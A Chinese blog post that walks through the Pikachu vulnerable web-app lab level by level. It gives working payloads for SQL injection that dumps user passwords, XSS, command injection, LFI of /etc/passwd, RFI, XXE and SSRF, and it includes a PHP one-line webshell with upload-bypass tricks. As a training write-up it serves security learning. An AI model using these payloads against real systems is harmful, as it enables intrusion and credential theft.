欢迎光临
我们一直在努力

pikachu通关笔记

目录

暴力破解

基于表单

验证码绕过

on server

on client

token绕过

XSS攻击

反射型XSS

get

post

存储型XSS

DOM型XSS

DOM型XSS-x

XSS之盲打

XSS之过滤

XSS之htmlspecialchars

XSS之href输出

XSS之js输出

CSRF

CSRF(get)

CSRF(post)

CSRF(token)

SQL注入

数字型注入

字符型注入

搜索型注入

XX型注入

Insert/Update 注入

delete注入

http header注入

盲注

基于布尔的盲注

基于时间的盲注

宽字节注入

RCE

exec ping

exec evel

file inclusion

local

remote

unsafe filedownload

file upload

client check

MIME type

getimagesize

over permission

水平越权

垂直越权

目录遍历

敏感信息泄露

PHP反序列化漏洞

XXE

URL重定向

SSRF

curl

file_get_content


注:pikachu右上角点击提示可以得到一些信息。

暴力破解

基于表单

登录界面:

拿字典爆破就行。

验证码绕过

on server
  • 在bp重放错误登录包时验证码不会刷新,只有在页面输入错误时才会报错并刷新验证码。

  • 输入抓包时的验证码,直接爆破

on client
  • 在bp重放登录包时验证码每次都会刷新。

  • 查看源代码可发现验证验证码的代码在前端。任何在前端进行的验证,都是完全没有任何作用的。

  • 在浏览器选择禁用JavaScript,就可绕过前端验证,同上直接爆破

token绕过

服务器为了防止自动化提交表单,在页面里埋了一个隐藏的 HTML 标签: <input type="hidden" name="token" value="xxxxx" />

  • 机制: 每次刷新页面或提交一次请求,服务器都会生成一个新的、随机的 Token 字符串发给浏览器。

  • 校验: 当点击“登录”时,浏览器必须把这个 Token 原封不动地带回去。服务器会比对传回来的 Token 是否和它发出去的那个一致。

  • 初衷: 攻击者无法预知下一个 Token 是什么,因此无法直接用简单的字典进行多线程重放攻击。

  • 逻辑缺陷:Token 直接暴露在返回的 HTML 源代码中。

  • 攻击:

    • 先请求一次页面,从返回的 HTML 中抓取(Extract)当前的 Token。

    • 将这个 Token 放入下一次登录请求的参数中。

    • 重复上述过程(请求 A 获取 Token -> 携带 Token 发起请求 B 进行爆破)。

    • 使用bp的Pitchfork模式一对一(一次密码对一次token)即可,注意最大并发数设为1。

XSS攻击

反射型XSS

get
  • 随便输入几个字符(如222),发现页面回显了包含222的字符串

  • 尝试输入<script>alert("xxs")</script>,发现有字数限制,打开F12手动改了一下,成功输入,执行后发现页面弹出XSS

  • 法二:URL处会有输入参数,在URL处注入也可

post
  • 登录进去后直接注入<script>alert("xxs")</script>,弹出XSS,攻击成功

  • 与get的区别

    • 数据传输方式:GET请求数据通过URL中的查询参数附加在URL后面,以明文形式传输数据;POST请求数据作为请求的正文发送,而不是通过URL传递。(get方式可以用法二,这个就不行)

    • 数据长度限制:GET请求有长度限制,受浏览器和服务器对URL长度的限制;POST请求没有固定的长度限制,适合传输大量数据。(get法一还需手动修改长度限制,post没有长度限制)

存储型XSS

在输入框直接注入<script>alert("xxs")</script>,该评论会存储在页面中,每次刷新都会执行一次弹出‘XSS’。

DOM型XSS

页面中输入任意内容

在F12元素中查询,发现输入框里的信息会被传递给a标签的href属性。

  • 法一,既然输入的内容会被传递给href属性,点击后可以访问,那就插入

    javascript:alert("xss"),点击对应标签那里会执行

  • 法二,闭合原有href,之后注入其他属性,' onclick=alert('xss')>

    完整页面代码会变为<a href='' onclick=alert(‘xss’)>'>what do you see?</a>,点击对应标签那里执行

  • 闭合引号时注意观察是单引号还是双引号,因为浏览器会自动规范化 HTML 结构,所以在元素里见的引号不一定是真的。

DOM型XSS-x
  • 这个“X”通常代表基于URL的DOM型XSS,和上边差不多,不过是从URL提取我们输入的内容。

  • 右击检查页面上的链接,发现为

,即点击后会触发domxss()函数。

  • 在元素中搜索可以找到其中的domxss()函数为

function domxss(){
   // 1. 从当前页面的URL中获取查询字符串部分,例如 "?text=hello"
   var str = window.location.search;
   // 2. 将获取到的字符串按 "text=" 分割,并取第二部分(即用户输入的值),同时进行URL解码
   var txss = decodeURIComponent(str.split("text=")[1]);
   // 3. 将解码后字符串中的 "+" 号替换为空格(这是处理URL编码空格的一种常见方式)
   var xss = txss.replace(/\\+/g,' ');
   // 4. 最危险的一步:直接将处理后的用户输入,通过 innerHTML 拼接成一个新的 <a> 标签并写入页面
   document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}

  • 当我们在输入框中输入内容并点击提交后,可以发现所输内容会在当前页面的URL中表现出来。domxss()函数就是将我们输入的内容提取出来并作为新链接(就让往事都随风,都随风吧)的href,支持点击。

  • 之后就和上题一致了。

XSS之盲打

  • 输入框中提交内容后,F12发现在前端找不到提交的内容,注入的<script>alert("xxs")</script>也没有被执行。

  • 事实上这些内容被存储到了后台,当管理员登录后台时恶意脚本会在那里执行。

  • (pikachu右上角点击提示会有后台网址)

XSS之过滤

  • 随便输入内容,发现会在网页回显。

  • 注入<script>alert("xxs")</script>,提交后发现回显出来只剩个>了。

  • 尝试大小写混合绕过,成功;

    尝试双写绕过,失败;

    看别的笔记,发现还有注释绕过,<sc<!–test–>ript>alert('xss')</scr <!–test–>ipt>,不过还是失败。

  • 也可以不用<script>,改用别的方法。

  • 注入<a href="" onclick="alert('xss')">,点击蓝色链接即可执行。

  • 或者利用img标签,<img src="x" onerror="alert('xss')">,注入后会直接执行。浏览器会自动修复HTML结构,会自动在合适位置补全</a>标签。注入后页面代码变为

    <p>别说这些'<a href="" οnclick="alert('xss')">'的话,不要怕,就是干!</a></p>

XSS之htmlspecialchars

  • htmlspecialchars函数的作用是把HTML中的特殊字符转换为HTML实体,让浏览器把它们当作普通文本显示,而不是当作代码执行。

< → &lt;
> → &gt;
& → &amp;
" → &quot;
' → &#039;

  • <script>alert('xss')</script>,<img src="x" onerror="alert('xss')">都行不通,<>被转义了,会被当作纯文本。

  • htmlspecialchars() 有一个非常重要的可选参数:flags(标志位)。

    • 默认情况下(ENT_COMPAT): 它只转换双引号,不转换单引号。

    • 严格模式(ENT_QUOTES): 才会同时转换双引号和单引号。

    • 可以利用单引号逃逸

  • 注入' onclick='alert("xss")'将href属性闭合并添加新属性,代码在服务器拼接后变成:

    <a href='' onclick='alert("xss")' >测试链接</a>,点击链接后就能触发。

  • 注入javascript:alert("xss")也可行,因为href属性本来就应该包含URL,htmlspecialchars不会过滤掉javascript:协议。注意这里的xss用双引号闭合,因为这里的href属性是用单引号闭合的。

XSS之href输出

  • 尝试<script>alert('xss')</script>,没反应。查看源代码为,

    <a href='&lt;script&gt;alert(&#039;xiaomuyu&#039;)&lt;/script&gt;'> 阁下自己输入的url还请自己点一下吧</a>,发现尖括号被编码了。

  • 尝试JavaScript伪协议,javascript:alert('xss'),成功。

  • 尝试闭合href属性,' onclick='alert(1),单双引号都尝试了,闭合失败。查看源代码为,

    <a href='&quot; onclick=&#039;alert(1)'> 阁下自己输入的url还请自己点一下吧</a>,

    发现引号被编码了。

XSS之js输出

  • 尝试<script>alert('xiaomuyu')</script>,没反应

  • 查看源代码

    <script>
      $ms='<script>alert('xiaomuyu')</script>';
      if($ms.length != 0){
          if($ms == 'tmac'){
              $('#fromjs').text('tmac确实厉害,看那小眼神..')
          }else {
    //           alert($ms);
              $('#fromjs').text('无论如何不要放弃心中所爱..')
          }
      }
    </script>

    是<script>标签闭合问题,得先把前边的闭合.

    闭合标签,</script><script>alert('xss')</script>就ok。

  • 或者闭合引号在这标签内执行任意代码,'; alert('xss'); //

  • js伪协议只能在接受URL的地方使用,不能在JavaScript代码内部使用。

CSRF

CSRF(get)

  • 基本没什么防御

    • 没有校验来源:不检查请求从哪里来

    • 没有CSRF Token:没有一次性令牌验证

    • 直接使用GET:修改操作本应用POST,却用了GET

    • 自动携带Cookie:浏览器会自动带上用户的Cookie

  • 右上方点击提示会有账号密码,登录进去,修改信息,bp抓包

  • 右键该包,用engagement tool生成CSRF的利用,修改其中的信息(要和刚刚修改的不一样方便对比),test in browser生成链接,在浏览器访问,点击提交请求,可以看到账户信息被成功修改为我们的CSRF利用中的信息。

  • 之所以成功,是因为受害者访问这个链接时处于pikachu登录状态,浏览器会自动带上pikachu的cookie,服务器验证cookie后就会执行修改。

CSRF(post)

  • 请求方式不同,不太影响,操作同上。

CSRF(token)

  • token就是防CSRF的,好像过不了。

SQL注入

数字型注入

  • 数字型注入不需要闭合符

  • 随便选一个数字提交,bp抓包,发送到repeater,修改请求参数为id=2 or 1=1#,就可以获得所有用户的id和email,拿密码的过程和更多注入细节和下面字符型一样,这里就不写了

  • 判断是否为数字型可以通过修改参数为字母等方法来判断,判断列数可以通过order by或union select 1,2等来判断

字符型注入

  • 先判断闭合方式,输入aaa',页面报错,说明是单引号闭合,在其后跟注释符就能正常执行,这里易发现#注释符有效

  • 直接注入' or 1=1#,就可以看到所有用户的id和email,之后可以进行如下操作进行细节的判断

  • 判断查询列数,输入aaa' order by 3#页面报错,如下图,说明列数超了

  • 再输入aaa' order by 2#,页面正常显示,如下图,说明共两列

  • 判断显示位,输入' union select 1,2#,页面显示如下图,说明两列都是显示位

  • 可以查询数据库和数据库版本

    ' union select database(),version()#

  • 可以查询当前数据库的所有表

    ' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#

  • 接着查询其中users表的所有列(注意该页面原本查询的是member表)

    ' union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name="users"#

    查询users表的用户和对应密码

    ' union select group_concat(username),group_concat(password) from users# ,得下图

    密码看起来是加密过的,拿去解密即可。

搜索型注入

  • 随便输入半个用户名,如图

    说明SQL查询用的是模糊查询like,%代表一个or多个字符,_代表一个字符,结构类似

    $name = $_GET['name'];
    // 搜索时前后加%,实现模糊匹配
    $sql = "SELECT * FROM users WHERE username LIKE '%$name%'";

  • 注入思路:

    • 先用%和前面的%配对

    • 闭合后面的'

    • 拼接SQL注入语句

    • 注释掉多余的%'

  • 输入%'#,页面显示为,是member表中所有的用户信息

    使用%' union select group_concat(username),group_concat(pw),1 from member#可以查询member表中所有用户密码

    可以输入%' union select username,password,1 from users#查询users表中的用户和密码,结果为

XX型注入

  • XX型注入指的就是闭合方式为 ')的注入类型。

  • 随便输入a',页面报错

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''a'')' at line 1

    注意其中的a''),(更外面的两个引号不用管,是报错信息的),a'')中的第一个引号是我们输入的,第二个引号是其查询语句自己的,从这个报错信息就能判断出其闭合方式为')。

  • 其余步骤同上

Insert/Update 注入

  • Insert/Update 注入属于功能性注入。与之前的搜索框注入不同,这里的数据是存入数据库的,所以页面不会直接显示查询结果,所以我们要利用的是报错注入,让数据库的报错函数把我们要的数据带出来。

  • 最常用的函数是 updatexml() 或 extractvalue()。

  • 在修改个人信息页面随便哪个框里输入1',报错,说明此处存在注入点且闭合方式为单引号。

  • 注入' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or ',页面报错信息为XPATH syntax error: '~pikachu~'。

    拼接后的SQL查询逻辑大概是insert into member(…) values(' ' or updatexml(…) or ' ', …)。

    注意此处应该用or,第一个条件 '' 是 False,如果用and函数不会再往后执行。

    在 Select(搜索框) 注入时,如果我们的输入是一个存在的 ID(比如 1),那么可以用and,因为其为true,and还会往后执行。

  • 查询所有表名

    • 在报错注入里,子查询 (select …) 必须返回单行数据。

    • 一条一条查:

      ' or updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)), 1) or ',结果为XPATH syntax error: '~httpinfo'

      `' or updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 1,1)), 1) or ',结果为XPATH syntax error: '~member'

      …………

    • 所以更好的方法是利用group_concat把查询结果拼接成一条:

      ' or updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='pikachu')), 1) or ',结果为XPATH syntax error: '~httpinfo,member,message,users,x'

  • 查字段名

    ' or updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users')), 1) or '

  • 查具体数据

    ' or updatexml(1, concat(0x7e, (select group_concat(password) from users limit 0,1)), 1) or '

delete注入

  • 同上用报错注入

  • 抓包发现包里带了id参数,以此来删除对应留言

  • 在浏览器URL里添加参数id为-1 or updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database())), 1),结果:XPATH syntax error: '~httpinfo,member,message,users,x'

http header注入

  • 右上角提示拿到账号密码,登进去发现页面显示了我们的IP地址,user agent等请求头中的数据

  • 后台大概逻辑:INSERT INTO http_header (user_agent, ip_address, …) VALUES ('$user_agent', '$ip', …);

    我们可以在bp请求包里,直接修改对应的 Header 字段。

    将user agent修改为' or updatexml(1, concat(0x7e, database()), 1) or ',可在相应包里查看结果

  • 其余步骤大致同上,只不过注入位置在请求头里

盲注

基于布尔的盲注

  • 不会回显我们查询的信息,但注入为真和注入为假显示的页面不同

  • 以判断数据库名为例

    输入kobe' and length(database())>5#,正常显示,说明数据库长度确实大于5

    输入kobe' and ascii(substr(database(),§1§,1))=§100§#,判断数据库名的每个字符是什么,可以利用bp的爆破来试出所有。

  • 判断表明,字段名,密码字段等都跟数据库名的方式差不多,

    第一个表名的第一个字符:kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=100#

    …………

基于时间的盲注

  • 不论注入是真是假,回显页面都相同,无法判断,所以利用sleep()函数

  • kobe' and if(ascii(substr(database(),1,1))=100, sleep(5), 1)#,如果正确,五秒后再返回响应页面,如果错误,正常返回页面。

  • 操作方法类似布尔盲注,利用bp爆破(在 Intruder 的结果界面,点击顶栏的 Columns(列选择),勾选 Response received)

宽字节注入

  • 有时攻击者注入的单引号等会被转义,可利用宽字节突破。

  • 宽字节注入是针对使用GBK编码的MySQL数据库的一种注入技巧。核心是利用MySQL的GBK编码特性,吃掉转义符\\。

    示例:

    输入:1%df'
    %df和反斜杠\\(%5c)组合成一个汉字“運”
    %df%5c 在GBK中是一个汉字

    过程:
    1. 输入:1%df'
    2. addslashes:1%df\\'(%df加上%5c变成汉字)
    3. 单引号逃出来了!
    最终SQL:WHERE id = '1運''

  • 注入过程同字符型注入,只要在单引号前加上%df就ok

RCE

exec ping

  • 这一关模拟了一个在线网络测试工具。输入一个 IP 地址,后台会调用系统的 ping 命令。

  • 使用命令拼接注入

  • 常见连接符

    连接符作用适用平台
    & 前后命令都执行(无论前面是否成功) Windows / Linux
    && 前面成功,才执行后面 Windows / Linux
    | 只执行后面(前面的输出作为后面的输入) Windows / Linux
    || 前面失败,才执行后面 Windows / Linux
    ; 顺序执行前后命令 仅 Linux
  • 注入127.0.0.1 | dir可查看目录

exec evel

  • 远程 PHP 代码执行

  • 它不是在调用系统命令,而是把输入的内容当作 PHP 代码 来执行。

  • 后台使用了 eval(),eval 会把括号内的字符串当成 PHP 代码解析,可输入合法的 PHP 语句实现攻击

  • 查看服务器配置详情: phpinfo();

    查看当前目录文件: print_r(scandir('.'));

    执行系统命令: 利用 PHP 代码去调用系统函数: system('whoami');

file inclusion

local

  • 本地文件包含 (LFI) 指的是只能包含服务器本地已经存在的文件。

  • 选一个选项提交,发现URL页面通过 filename 参数切换不同的文案。

  • 利用 ../不断向上跳转,去访问系统敏感文件。

    • Windows 环境(常用): 读取 hosts 文件,

      ?filename=../../../../../../../../windows/system32/drivers/etc/hosts

    • Linux 环境(常用): 读取密码文件,?filename=../../../../../../../../etc/passwd

remote

  • 远程文件包含 (RFI) 允许攻击者包含远程服务器上的文件。

  • 前置条件,RFI 的触发需要 PHP 配置文件 php.ini 中开启以下两个选项:

    • allow_url_fopen = On

    • allow_url_include = On(默认通常是 Off,所以 RFI 比 LFI 少见)

  • 比如访问百度

  • 或者可以自己在公网服务器(或者本地开启一个 HTTP 服务)准备一个文本文件 test.txt,内容为: <?php phpinfo(); ?>

    然后在 Pikachu 中输入: ?filename=http://我们的服务器IP/test.txt

    Pikachu 服务器会去下载这个 test.txt,并在它自己的服务器上执行其中的 PHP 代码。

unsafe filedownload

  • 不安全的文件下载 / 任意文件下载

  • 后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。

    后台代码逻辑大致为

    $filename = $_GET['filename'];
    $filepath = "download/" . $filename; // 拼接路径

    // 直接读取文件并发送给浏览器
    header("Content-Type: application/octet-stream");
    header("Content-Disposition: attachment; filename=" . $filename);
    readfile($filepath);

  • 可以利用目录穿越 ../改变 $filepath 的指向。

  • 题目显示点击球员名字可下载,则右键复制链接拿到下载路径,再改变后面的参数。http://192.168.137.132/pikachu/vul/unsafedownload/execdownload.php?filename=ai.png

    http://192.168.137.132/pikachu/vul/unsafedownload/execdownload.php?filename=../../../index.php,下载成功。

file upload

client check

  • 一句话木马<?php @eval($_POST['shell']); ?>

    让服务器接收通过 POST 方式发送过来的名为 shell 的数据,并将其内容作为php代码来执行。

    @:这是错误抑制符。即使执行出错,也不要在页面上显示报错信息,防止被管理员发现。

  • 中国蚁剑是一个专业的图形化 Webshell 管理工具,作为攻击者的客户端。

    它能把复杂的 PHP 指令封装成简单的图形操作。比如点击“文件管理”,它就会自动发送一段“列出当前目录文件”的 PHP 代码给那个木马。

  • 提交PHP文件发现上传失败,显示只允许上传图片,查看可知该检查发生在前端,在开发者工具设置里禁用 JS 就能上传成功了

MIME type

  • MIME 是设定某种扩展名的文件用一种应用程序来打开的方式。当上传文件时,浏览器会在 HTTP 请求头的 Content-Type 字段中自动标注这个文件的类型。

    • 如果上传 .jpg,浏览器会标注:Content-Type: image/jpeg

    • 如果上传 .php,浏览器会标注:Content-Type: application/octet-stream(或者是 application/x-php)

  • 漏洞点:后端 PHP 代码通过检查这个 Content-Type 字段来判断你上传的是不是图片,而不是检查文件的实际内容或后缀。

  • 上传PHP文件,bp拦截该请求,手动修改Content-Type为image/png(或者 image/jpeg)

  • 常见 MIME 类型对照表

    文件后缀对应的 MIME 类型
    .jpg / .jpeg image/jpeg
    .png image/png
    .gif image/gif
    .pdf application/pdf

getimagesize

  • getimagesize() 是 PHP 的一个内置函数,它的本意是用来获取图像的大小、宽度等信息。

    当这个函数处理一个文件时,如果它发现文件开头的一段字节(文件头/魔数)不符合图片的特征(比如 JPG 必须以 FF D8 开头),它就会返回 false,后台代码据此拒绝上传。

    普通的 PHP 木马开头是 <?php,这在 getimagesize() 眼里显然不是图片。

  • 绕过思路:制作“图片马”,做一个既有图片特征、又包含木马代码的文件。

    • 法一:新建一个 PHP 文件(如 shell.php),在代码的最前面手动输入:GIF89a(GIF 文件的头部标识)。

    • 法二:准备一张真的图片,把木马隐藏在图片的二进制数据后面。在cmd中运行copy a.jpg /b + muma.php /a result.jpg。(/b 表示二进制模式,/a 表示 ASCII 模式)

  • 上传成功后,配合之前的文件包含漏洞,让其中的PHP代码执行,再用蚁剑连接。

    http://192.168.137.132/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2026/03/13/28104869b401bed4d30400573591.png&submit=%E6%8F%90%E4%BA%A4

over permission

水平越权

  • 权限等级相同,但身份不同。

  • 右上角提示有账号密码,登录lucy账号进去,点击“查看个人信息”,发现 URL 变成了: op1_hor.php?username=lucy&submit=点击查看

    实施越权: 在 URL 里直接把 username=lucy 改成 username=lili 并回车。

    结果:以 lucy 的身份登录的,却看到了 lili 的手机号、邮箱等私密信息。

垂直越权

  • 权限等级不同。

  • 提示说有admin和普通用户两种,登录进去观察,前者界面有用户管理操作,后者没有。

    进入admin的添加用户界面,URL为http://192.168.137.132/pikachu/vul/overpermission/op2/op2_admin_edit.php

    随后退出登录登进普通用户,访问该URL,发现也能进入添加用户界面,并且能添加成功。

目录遍历

  • 程序在处理文件路径时,没有过滤 ../ 等特殊字符,使攻击者可以跳出 Web 根目录,去窥探服务器的其他文件夹。

敏感信息泄露

  • 开发者在生产环境中遗留了测试信息或配置调试信息。

    • 代码注释中: 开发者在 HTML/JS 源码里留下了账号密码或内部接口地址。

    • 错误页面中: 报错信息暴露了服务器的绝对路径、数据库版本或字段名。

    • 备份文件中: 像 .git、.svn、.swp 或 web.config.bak 这种文件被直接放在 Web 目录下。

    • 测试页面: 比如 phpinfo.php 或 test.html。

  • 右键查看页面源代码,能看到注释中泄露了账号密码

PHP反序列化漏洞

  • 常见魔术方法

    魔术方法触发时机攻击意义
    __construct() 对象创建时触发 反序列化时不会触发
    __destruct() 对象销毁时触发 极重要,反序列化结束时自动执行
    __wakeup() 反序列化瞬间触发 常用于准备资源或初始化
    __toString() 对象被当成字符串使用时触发 配合 echo 等函数触发
    __sleep() 在对象在被序列化之前运行
  • 本题中,

    class S {
      var $test = "pikachu";
      function __destruct(){
          echo $this->test; // 漏洞点:对象销毁时会打印 $test
      }
    }

    构造payload,可以用脚本生成一个

    <?php
    class S {
      var $test = "<script>alert('xss')</script>"; // 构造一个简单的 XSS 弹窗
    }

    $a = new S();
    echo serialize($a);
    // 输出结果可能是:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
    ?>

    将生成的序列化字符串 O:1:"S":1:{s:4:"test";s:29:"alert('xss')";}提交到输入框中,因为服务器执行了 unserialize(),创建了对象,脚本结束时触发了 __destruct(),把我们的 XSS 代码打印到了页面上。

XXE

  • 利用了 XML 解析器在处理输入时的缺陷,让服务器去读取它本不该读取的文件,甚至攻击内网的其他机器。

  • XML 允许定义一个“快捷方式”,这就是实体。

    • 内部实体

      <!ENTITY name "pikachu">
      <user>&name;</user> ```

    • 外部实体(漏洞点):允许 XML 从外部资源(文件、URL)获取数据。

      <!ENTITY test SYSTEM "file:///c:/windows/win.ini">
      <user>&test;</user> ```

      XXE 漏洞产生原因: 后端程序开启了“解析外部实体”的功能,且直接解析了用户提交的 XML 数据。

  • 构造payload,读取敏感数据

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE xxe [
     <!ENTITY test SYSTEM "file:///c:/windows/win.ini">
    ]>
    <user>&test;</user>

URL重定向

  • 服务器接收用户提交的一个链接,并在没有经过严格白名单校验的情况下,直接指挥用户的浏览器跳转到那个链接。

  • 在本题中,点击最后一句话发现出现了参数url=i,修改这个参数到任意地址(比如百度),发现跳转成功。

  • 一些绕过过滤的技巧:

    • 斜杠绕过: url=//www.baidu.com(部分解析器会将其识别为当前协议下的外部链接)。

    • 利用 @ 符号: url=http://www.google.com@www.baidu.com(浏览器有时会忽略 @ 前的内容,直接跳转到后面)。

    • 点号绕过: url=http://www.baidu.com.(末尾加点,在某些 DNS 解析中依然有效)。

SSRF

由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

简单说就是攻击者不能直接访问内网,但可以命令服务器去替攻击者访问。

服务器就像一个被控制的“代理人”,它可以绕过防火墙,探测攻击者本来接触不到的内网资源。

curl

  • 可以修改 url 参数,探测服务器本地或其他内网机器的端口。

  • 也可以利用 file 协议读取文件:?url=file:///c:/windows/system32/drivers/etc/hosts,服务器会把本地文件内容抓取并显示在网页上。

file_get_content

  • 所用PHP函数是file_get_contents(),但漏洞逻辑是一样的,这个函数同样支持多种协议。

  • 可以用 PHP 伪协议把源码 Base64 编码后抓出来: ?url=php://filter/read=convert.base64-encode/resource=ssrf.php

赞(0)
未经允许不得转载:171主机测评 » pikachu通关笔记
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址